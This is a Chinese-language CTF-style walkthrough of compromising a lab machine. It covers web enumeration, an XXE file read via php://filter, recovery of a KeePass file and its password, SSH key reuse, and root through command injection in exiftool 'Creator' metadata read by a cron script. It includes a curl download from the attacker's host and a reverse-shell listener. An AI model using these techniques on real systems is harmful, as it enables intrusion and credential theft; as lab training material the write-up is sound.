信息收集
服务探测
有个22222端口开放
1 | ❯ sudo arp-scan -l |
利用curl访问报403错误,可能是没有加User-Agent
浏览器访问就是默认的apache2的网页
我尝试输入index.php返回一个靶机名
利用fuzz模糊测试一下,或者gobuser加上-a参数
1 | ❯ ffuf -u http://$ip/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -c -H "User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0" |
交叉验证下,均可以扫到一个services
的目录
1 | ❯ gobuster dir -u http://192.168.60.130 -w /usr/share/seclists/Discovery/Web-Content/common.txt -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0" |
XXE漏洞攻击
发现一个入口
利用burpsuite抓一下包
可以尝试XXE外部实体漏洞
攻击
XXE - XEE - XML External Entity | HackTricks
利用 XML 外部实体注入(XXE)漏洞 — Explotación de la Vulnerabilidad de Inyección XML External Entity (XXE)
我们可以定义一个新的ENTITY
名为ext
后面紧接文件路径
测试一下声明是否有效
在下方随便哪个未知将111替换为ext
不过要在前后加上&
和;
方可执行上方声明的
在这里可以发现pepita
这个用户
其实XXE就类似于SSRF伪造服务端攻击,可以进行文件读取
我们尝试读取/services/procesar_envio.php
这个文件,就是我们提交时网页源代码
貌似并不能读取文件,我不确定文件是不是在apache默认文件夹下的/var/www/html中
不过你可以通过php文件流读取转成base64编码后输出php://filter/convert.base64-encode/resource=
XXE - XEE - XML External Entity | HackTricks
拿到源码了,发现有段注释,让我们找到kdb
文件
1 | <?php |
读取kdb文件
我们读取hosts的发现有个域名为ftp.emerreuvedoble.thl
指向了本地ip
显而易见kdb
文件大概率藏在ftp中
成功拿到文件,base64解码保存为passwords.kdb
1 | ❯ echo -n "A9mimmX7S7UCAAAAAgADABrx6ktrOWV8H/WRVye6E1gyAM5XWqLZ+t+MWnp+0bfKAwAAAAEAAADh/aF7fpPZm8C8m8Fxq9qRBRG8BunbeZ32ftUendyD1UPpxZvvxb9di+9nYAmupZ7SSaZcOH2vYbn87GtybWfjUMMAAAGlIHwx+Mzl+Avyru0+0hzA9jwbgdH+WcCyfDpkyxgEDdh0c+FNuFnCSQjpqx3ELGgwY0AgGo3Pw8txn7hft2lqYKuKdUvpQoRwOui3m2awvErT8OMNxu5qh4M3EmAGpK0+ICXo5wmQ/SuiAL1Y9rpcHniF++i4hwHp7fmIydg0o24UxKmGvnamShx51MAGkg+xhlmE7wjRH7yO+EvswVqlc6S+x7ciCP/dFIXa3Kh/YkS1/e4KFZ3zkU2t97K8QLI0JP2XClswZW1c1mamHjtthS50Hyk2KeXtW1xj3xiSbXzCxPJPOeAvQY5mf8HCMiJY8ecfA4JIWoqeKnk/upwE/j6fzzl4LEbFGWopBdySF3+JGQ0/17j0DaFwJjIhY6OvPwyY1AaSs8NahoP0pzpdEVr/M55+MHNmOT7uIUqc1bvtytoGedZzuEbv5bLakswiCr1G4irOUwkMENrItms0ydA0v07B9nXLMXP43foSQGar8hSMAnfFLFabwseK+b3qyDDl1g29TauaFQf8UK+Z9YPHQml7ltmlnEiRAavXtBMZbG9ob1Idxo+bn43+vRHKvmR7O1OGyMsHDRoR7SQmmyGDfOCHXKKqu5rtvHWL" |base64 -d > passwords.kdb |
拿到文件密码为diamonds
,安装一下Keepass Cli
打开看一下,在线网站打开不了这个kdb
文件只能开kdbx
1 | ❯ sudo apt install kpcli |
用户提权
拿到ssh登录密码了
利用这个用户名尝试登入一下
1 | ❯ ssh pepita@$ip |
登入无果,之前扫到还有22222端口
尝试登录,结果就上去了
1 | ❯ ssh pepita@$ip -p 22222 |
信息收集
我搜寻发现在host
文件夹下有个用户juanita
家目录
里面存有ssh私钥
1 | pepita@webserver:/host/juanita$ ls -al |
Root提权
ssh再次连接,在内部连接127.0.0.1连不上,必须退出来
1 | ❯ vim id_rsa |
搜寻无果后尝试上传了pspy64监测一下进程
靶机上没有wget只有curl那也无妨
1 | juanita@emerreuvedoble:~$ curl 192.168.60.100/pspy64 -o /tmp/pspy64 |
发现UID为0的用户会定期执行/opt/remove_temp.sh
这个文件
1 | juanita@emerreuvedoble:/tmp$ cat /opt/remove_temp.sh |
定期清理tmp目录下的文件
creator=$(/usr/bin/exiftool -s -s -s -Creator "$file" 2>/dev/null | cut -d " " -f1)
这一行使用exiftool
工具来提取文件的 “Creator” 元数据字段(通常是文件的创建者)。
-s -s -s
用来简化exiftool
输出,只保留关键信息。-Creator
指定获取 “Creator” 字段。2>/dev/null
会将错误输出重定向到/dev/null
,即忽略错误信息。cut -d " " -f1
会将输出按空格分割,并取第一部分,即创作者的名字。if [[ "$creator" -eq "juanita" ]]; then
如果提取到的creator
变量的值是 “juanita”,则进入此条件语句。
- 注意:
-eq
是用于数字比较的运算符,但在此脚本中,它是用于比较字符串。正确的字符串比较应该使用==
,例如:if [[ "$creator" == "juanita" ]]; then
。echo "Removing $file"
如果文件的创建者是 “juanita”,脚本将输出一个消息,说明它正在删除该文件。
命令注入
突破口就在creator
可以设置为执行脚本
我们写一个反弹shell脚本到rev.sh
然后bash中引用即可
这里的$( )也可以用反引号数字1左边的那个``
注意不要用~/rev.sh
虽然这也表示文件路径,但文件是以root身份运行的所以要指定绝对路径
1 | juanita@emerreuvedoble:~$ vim rev.sh |
新开一个tmux窗口监听端口1234
1 | ❯ pwncat -l 1234 |